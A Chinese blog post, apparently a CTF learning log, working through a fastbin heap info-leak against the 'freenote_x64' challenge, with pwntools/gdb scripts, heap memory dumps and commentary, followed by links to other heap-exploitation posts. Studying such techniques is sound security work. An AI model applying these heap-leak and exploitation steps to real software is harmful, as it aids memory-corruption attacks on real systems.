x64 fastbin2

Linux 堆溢出之fastbin实例 Linux下堆溢出 fastbin实例 阅读详情

p=gdb.debug('./freenote_x64','''b *0x400caa
c
x/50x $rax
c
c
c
x/100x $rax-0x50
''')
notelen=0x10

new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note(2)
delete_note(0)

new_note("AAAAAAAA")

list_note()
p.recvuntil("0. ")
0xa6f830:   0x41414141  0x41414141  0x41414141  0x41414141
0xa6f840:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f850:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f860:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f870:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f880:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f890:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f8a0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f8b0:   0x00000000  0x00000000  0x00000091  0x00000000
0xa6f8c0:   0x42424242  0x42424242  0x42424242  0x42424242
0xa6f8d0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f8e0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f8f0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f900:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f910:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f920:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f930:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f940:   0x00000000  0x00000000  0x00000091  0x00000000
0xa6f950:   0x43434343  0x43434343  0x43434343  0x43434343
0xa6f960:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f970:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f980:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f990:   0x00000000  0x00000000  0x00000000  0x00000000
---Type <return> to continue, or q <return> to quit---
0xa6f9a0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f9b0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f9c0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f9d0:   0x00000000  0x00000000  0x00000091  0x00000000
0xa6f9e0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6f9f0:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa00:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa10:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa20:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa30:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa40:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa50:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa60:   0x00000000  0x00000000  0x000205a1  0x00000000
0xa6fa70:   0x00000000  0x00000000  0x00000000  0x00000000
0xa6fa80:   0x00000000  0x00000000
0x20cc830:  0xbcbfc678  0x00007fec  0xbcbfc678  0x00007fec
0x20cc840:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc850:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc860:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc870:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc880:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc890:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc8a0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc8b0:  0x00000090  0x00000000  0x00000090  0x00000000
0x20cc8c0:  0x42424242  0x42424242  0x42424242  0x42424242
0x20cc8d0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc8e0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc8f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc900:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc910:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc920:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc930:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc940:  0x00000000  0x00000000  0x00000091  0x00000000
0x20cc950:  0xbcbfc678  0x00007fec  0x020cc820  0x00000000   <-----要想溢出这个值,就必须重新分配这个地址。这个地址是先释放的。所以说应该是先进先出的原则。
0x20cc960:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc970:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc980:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc990:  0x00000000  0x00000000  0x00000000  0x00000000
---Type <return> to continue, or q <return> to quit---
0x20cc9a0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc9b0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc9c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cc9d0:  0x00000090  0x00000000  0x00000091  0x00000000
0x20cc9e0:  0x44444444  0x44444444  0x44444444  0x44444444
0x20cc9f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cca00:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cca10:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cca20:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cca30:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cca40:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cca50:  0x00000000  0x00000000  0x00000000  0x00000000
0x20cca60:  0x00000000  0x00000000  0x000205a1  0x00000000
(gdb) x/150x 0x2002830
0x2002830:  0xfbd70678  0x00007f8a  0xfbd70678  0x00007f8a
0x2002840:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002850:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002860:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002870:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002880:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002890:  0x00000000  0x00000000  0x00000000  0x00000000
0x20028a0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20028b0:  0x00000090  0x00000000  0x00000091  0x00000000
0x20028c0:  0x42424242  0x42424242  0x42424242  0x42424242
0x20028d0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20028e0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20028f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002900:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002910:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002920:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002930:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002940:  0x00000000  0x00000000  0x00000091  0x00000000
0x2002950:  0x41414141  0x41414141  0x02002820  0x00000000<----折辱我们猜想的,这个先释放的会先分配,然后被A占用,输出这个字符串就可以溢出我们的堆地址。因为我们第二个释放的是堆块1,所以这里指向的的地址也就是堆块1.
0x2002960:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002970:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002980:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002990:  0x00000000  0x00000000  0x00000000  0x00000000
---Type <return> to continue, or q <return> to quit---
0x20029a0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20029b0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20029c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x20029d0:  0x00000090  0x00000000  0x00000091  0x00000000
0x20029e0:  0x44444444  0x44444444  0x44444444  0x44444444
0x20029f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a00:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a10:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a20:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a30:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a40:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a50:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a60:  0x00000000  0x00000000  0x000205a1  0x00000000
0x2002a70:  0x00000000  0x00000000  0x00000000  0x00000000
0x2002a80:  0x00000000  0x00000000
notelen=0x80
#io.sendline("c")
p=gdb.debug('./freenote_x64','''b *0x400caa
c
x/50x $rax
c
c
b *0x400d85
c
x/50x $rax
''')
new_note("A"*notelen)

new_note("B"*notelen)
delete_note(0)

new_note("\xb8")
(gdb) x/100x 0x20a1830
0x20a1830:  0xab4086b8  0x00007f17  0xab408678  0x00007f17
0x20a1840:  0x41414141  0x41414141  0x41414141  0x41414141
0x20a1850:  0x41414141  0x41414141  0x41414141  0x41414141
0x20a1860:  0x41414141  0x41414141  0x41414141  0x41414141
0x20a1870:  0x41414141  0x41414141  0x41414141  0x41414141
0x20a1880:  0x41414141  0x41414141  0x41414141  0x41414141
0x20a1890:  0x41414141  0x41414141  0x41414141  0x41414141
0x20a18a0:  0x41414141  0x41414141  0x41414141  0x41414141
0x20a18b0:  0x00000090  0x00000000  0x00000091  0x00000000
0x20a18c0:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a18d0:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a18e0:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a18f0:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a1900:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a1910:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a1920:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a1930:  0x42424242  0x42424242  0x42424242  0x42424242
0x20a1940:  0x00000000  0x00000000  0x000206c1  0x00000000

经过对比,fastbin链表结构好像不止单链表这么简单。
这里写图片描述

我查了些资料图中p指向的地址明显是个很重要的地址,但根本没说明这个指针指向那。我通过分析发现,这个地址虽然不是libc地址,但跟libc地址相关。而且每个块释放后链接到链表后都会有个p指针,最前面的块因为没有前向指针fd,所以两个指针地址都是这里的p指针。

pwn学习-how2heap-fastbin_dup 今天打完比赛身心疲惫,来复习复习把,写一点简单的把   之所以记录一下fastbin,是因为现阶段我能接触到最多的就是它了。   fastbins: 程序中总是会分配一些比较小的堆块,对于这些堆块来说,如果我们直接将他们合并,那么下次申请的时候还需要重新切割出来,降低了运行的效率,所以ptmalloc设计了fastbins. fastbins共有10个bin,分别是8-80字节,依次增... 阅读详情

相关推荐

fastbin attack + unsorted bin attack+ heap overflow+ double free fastbin + double free unlink

0x1 fastbin依靠单链表来组织的,堆管理结构始终维护一个指向最后一个chunk的指针(倒数第二个chunk的fd,通常情况这个fd指向的是下一个chunk起始地址)。这个指针决定了下一次要分配的chunk地址。 也就是说默认分配最好一个chunk给用户使用,同时最后一个chunk也是我们一开始第一个free掉的 0x2 我们的目的修改某一个chunk的fd ,这样我们就可以任意地址分配我们...

qq_39869547的博客 546

堆知识--持续

author: moqizou 堆源码的知识总是看一点忘一点,导致堆的学习非常缓慢。这里我还是开个文章记录一下,堆源码的知识吧。 Chunk Extend and Overlapping 这是一种通过改变chunk head来达到伪造chunk大小,从而把用户区申请到相邻的chunk上去,达到溢出修改其他chunk的目的。 主要利用的ptmalloc机制如下。 寻找下一个chunk的机制(下一个指高地址) ptmalloc机制通过当前chunk指针加上当前chunk大小来获取下一个chunk的指针。.

Stella_Leo的博客 5155

堆溢出与UAF漏洞利用实战:从原理到CTF解题全解析

堆溢出(Heap Overflow)和释放后重用(UAF)是内存安全领域的核心漏洞类型,它们源于程序对动态分配的内存管理不当。堆溢出允许攻击者越界写入相邻内存区域,而UAF则使已释放的内存指针仍被误用,两者常结合导致严重的安全问题。从技术原理看,堆管理器如glibc的ptmalloc使用bins(如fastbin、unsorted bin)组织空闲块,漏洞利用正是通过精心操控这些数据结构,实现信息泄露或控制流劫持。在工程实践中,这类漏洞的利用价值极高,能够绕过现代操作系统的安全防护(如ASLR、RELRO)

weixin_30603633的博客 709

各类bin介绍

也是双链表结构,它在bins处于bin64~bin126,那么64bit中最小large bin为 2 * 8 * 64 = 1024byte,哎,这个时候前面说的fd、bk、fd_nextsize、bk_nextsize就来到用武之地了,为了加快检索速度,fd_nextsize和bk_nextsize指针会指向一个大小与自己不一样的chunk,故在加入了大小不同的chunk时,这两个指针才会被修改。由free chunk组成的链表,当用户再次申请时从中寻找合适的chunk返回给用户。

csdn546229768的博客 2465

VSCode玩转STM32:手把手教你配置EIDE插件与OpenOCD调试(附野火DAP配置文件详解)

本文详细介绍了如何在VSCode中配置EIDE插件与OpenOCD进行STM32开发,特别针对野火DAP调试器提供了配置文件详解。从基础环境搭建到深度调试技巧,帮助开发者高效完成STM32项目开发,实现现代化嵌入式开发工作流。

weixin_26905487的博客 553

S32K1XX调试--快速定位HardFault

1、背景 程序运行,发现程序跑飞到HardFault,但不清楚为什么会跑到HardFault中断处理函数去。 2、分析 要想知道为什么会跑到HardFault_Handler中去,就很有必要了解一下,程序上一条执行的是那条命令。 根据汇编指令可以定位上条指令,但如果对汇编指令不是很了解的话,那就很头疼了 根据单步运行也能实现定位,但如果程序量很大,又很杂,可能花费的时间就比较久些。 3、问题查找 提供一种不需要懂汇编指令的查找方法,方法如下: 在中断处理函数中插入以下代码,以及另外定义

ping_devil的博客 4019

x64 fastbin

#undef _FORTIFY_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h>int BufForTst[100];int main(int argc, char *argv[]) { void *buf0,*buf1,*buf2,*buf3; BufForTst[1]=0x29; buf0

inquisiter 423

Transformers在自动驾驶领域的应用(High-level like in scene)

Transformers uses global attention mechanism to capture long-range interaction information. Two core modules in Transformers are Self-Attention and Cross-Attention, which defined asAttn(Q,K,V)=softmax(QK⊤dk)VSelfAttn(X)=Attn(WQX,WKX,WVX)CrossAttn(X,Y)=Attn

qq_39337332的博客 1776

HeapViewer高级用法:Fake Fastbin查找与House of Force利用指南

HeapViewer是一款强大的IDA Pro插件,专门用于分析glibc堆内存管理,特别针对漏洞利用开发。本文将详细介绍HeapViewer的两个核心高级功能:Fake Fastbin查找和House of Force利用辅助,帮助安全研究人员快速掌握堆漏洞利用技巧。🔥 ## 什么是HeapViewer?快速了解这款堆分析神器 HeapViewer是2018年Hex-Rays插件竞赛的季军

gitblog_00518的博客 813

UE4游戏开发:GameInstance与GameMode的实战应用与避坑指南

本文深入解析了UE4中GameInstance与GameMode的核心差异与实战应用。GameInstance作为贯穿游戏进程的全局单例,负责跨关卡数据持久化与系统管理;而GameMode则定义特定关卡内的游戏规则与逻辑,随关卡加载销毁。文章通过数据存储、动态模式切换及网络游戏等场景,提供了清晰的应用指南与常见避坑方案,帮助开发者构建更健壮的UE4游戏架构。

kubernetes8ctl的博客 230

OpenClaw实战系列01:OpenClaw接入飞书机器人全接入指南 + Ollama本地大模型

通过 OpenClaw + Ollama + 飞书的组合,我们成功搭建了一个完全私有、免费、可定制的AI助理。它不仅能在日常聊天中提供帮助,还能通过OpenClaw强大的“技能”体系,真正去操作你的电脑、管理文件、甚至执行代码。这套方案将数据留在本地,既保证了隐私安全,又锻炼了动手能力。现在,去给你的AI助理添加更多酷炫的技能吧!

PeterPan的博客 1万+

HeapViewer插件终极指南:从零开始掌握Glibc堆内存分析与漏洞利用

想要快速掌握Glibc堆内存的奥秘吗?HeapViewer插件就是您需要的终极工具!这款IDA Pro插件专注于堆内存分析,特别为漏洞利用开发而设计,让您能够深入理解ptmalloc2内存管理器的内部工作原理。无论您是安全研究员、逆向工程师还是CTF选手,这个工具都能帮助您快速定位堆漏洞,提高漏洞利用成功率。 ## 🔍 HeapViewer是什么? HeapViewer是一个强大的IDA P

gitblog_00584的博客 417

AMBA-CHI协议详解(五)

 每个事务由许多不同的packets组成,这些数据包通过互连(interconnect)传输。packets内的一组ID域段用于提供有关包的附加信息。

Crazzy_M的博客 1961

Fastbin attack

Fastbin Attack 暂时接触到了两种针对堆分配机制中fastbin的攻击方式,double free和house of spirit Double free 基本原理 与uaf是对free之后的指针直接进行操作不同,double free通过利用fastbin对堆的分配机制,改写在fastbin中的chunk,实现对指定内存的堆块分配。 先正常释放chunk1和c...

aoque9909的博客 563

【北大核心-代码复现】基于 VMD-FFCM-iTransformer 光伏功率短期预测

【北大核心-代码复现】基于 VMD-FFCM-iTransformer 光伏功率短期预测

766

多后端系统统一聚合与智能分流:用 Multi Origin Composition 与 Routing 打造一套可扩展的 SAP Gateway 架构

本文针对企业级SAP集成场景,详细介绍了如何利用SAP Gateway的MOC(多源组合)和Routing功能实现多后端系统的智能路由与数据聚合。通过系统别名配置、用户角色绑定和主机名分流等机制,可实现按用户、按域名的精确路由。文章还提供了配置清单、性能优化建议和常见问题解决方案,帮助工程师落地多后端OData服务的最佳实践。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 186

fastbin3x64

notelen = 0x80#new_note("/bin/sh\x00"+"A"*(notelen-8)) new_note("A"*notelen) new_note("B"*notelen) new_note("C"*notelen) delete_note(2) delete_note(1) delete_note(0)fd = 0x11111111 #notetable bk = f

inquisiter 269

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

wiki 简单介绍fastbin、smallbin、largebin的机制以及unlink的利用 读者可能困惑的地方

前置知识:理解空闲链表的设计与相关的漏洞利用需先理解堆的设计思想、unlink的漏洞利用机制 见exp编写需先掌握pwn python脚本编写任意写的理解ret2libc的基础gdb动态调试信息分析。

2301_80974117的博客 1007

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

how2heap个人学习总结

how2heap个人学习总结 1.fastbin_dup double free基本操作 2.27下由于多了tcache,可以先free7个填满tcache再calloc3个后free放入fastbin。calloc与malloc区别除了对语法略有不同,会对内容初始化以外还会跳过tcache直接执行int_malloc。 后续2.31,32,33,34无区别。 2.fastbin_dup_into_stack double free基操,有一点需要注意,fast chunk在获取时会对其大小 进行检测,检查

u014377094的博客 1137

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

堆结构记录

fast bin LIFO 最近释放的chunk会被更早分配,当用户需要的 chunk 的大小小于 fastbin 的最大大小时, ptmalloc 会首先判断 fastbin 中相应的 bin 中是否有对应大小的空闲块,有的话分配,否则ptmalloc 进行下一步操作。fast bin chunk大小最大64字节,但是其可以支持的 chunk 的数据空间(出去pre_size、chunk_size)最大为 80 字节。除此之外, fastbin 最多可以支持的 bin 的个数为 10 个,从数据空间为

qq_39153421的博客 492

从CTF赛题剖析Off-by-One漏洞:堆内存利用原理与实战

在二进制安全领域,堆内存管理是理解程序内存安全的核心。堆利用技术通常围绕内存分配器的元数据展开,通过篡改堆块大小、指针等关键信息,实现内存读写原语。其中,Off-by-One(一字之差)漏洞因其隐蔽性和强大破坏力,成为高危漏洞的典型代表。这类漏洞源于编程中常见的边界条件错误,如循环条件或字符串操作少计算一个字节,导致写入操作越界。其技术价值在于,即使只能覆盖一个字节,攻击者也能通过精心构造的堆布局,触发内存合并异常,进而制造堆块重叠,最终实现信息泄露和任意代码执行。在CTF竞赛和真实漏洞挖掘中,掌握Off-

weixin_33835103的博客 1901

6.house_of_spirit

源代码 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main() 5 { 6 fprintf(stderr, "This file demonstrates the house of spirit attack.\n"); 7 8 fprintf(st...

219

别再死记硬背了!用GDB动态调试理解libc2.23堆漏洞(UAF/Double Free)的底层机制

本文通过GDB动态调试深入解析libc2.23堆漏洞(UAF/Double Free)的底层机制,帮助读者从内存管理层面理解漏洞利用原理。文章详细介绍了环境配置、堆内存管理基础、UAF和Double Free的动态观察方法,并提供了实战案例和调试技巧,助力二进制安全学习者突破死记硬背的学习困境。

weixin_30166691的博客 321

glibc 堆的管理

堆介绍 结构示意图 N位:define NON_MAIN_ARENA 用于表示是否属于主线程,0表示主线程的堆块结构,1表示子线程的堆块结构 M位:define IS_MAPPED 0X2 用于表示是否由mmap分配,0表示由堆块中的top chunk分裂产生,1表示由mmap分配 P位:define PREV_ISUSE 0x1 用于表示上一堆块是否处于空闲状态,0表示处于空闲状态,1表示处于使用状态。主要用于来判断free是否能够上一堆块进行合并 堆空闲块管理结构bin

huzai9527的博客 306

PWN的学习顺序推荐 | pwn学习指北

Pwn是一种在网络安全和黑客竞赛(如CTF,夺旗赛)中常见的技术类型。它主要涉及对程序漏洞的利用,以实现对目标系统的控制或获取敏感信息。

2403_87031746的博客 2583
上一篇: x64 fastbin
下一篇: fastbin3x64
inquisiter
博客等级 码龄10年 374粉丝 228原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值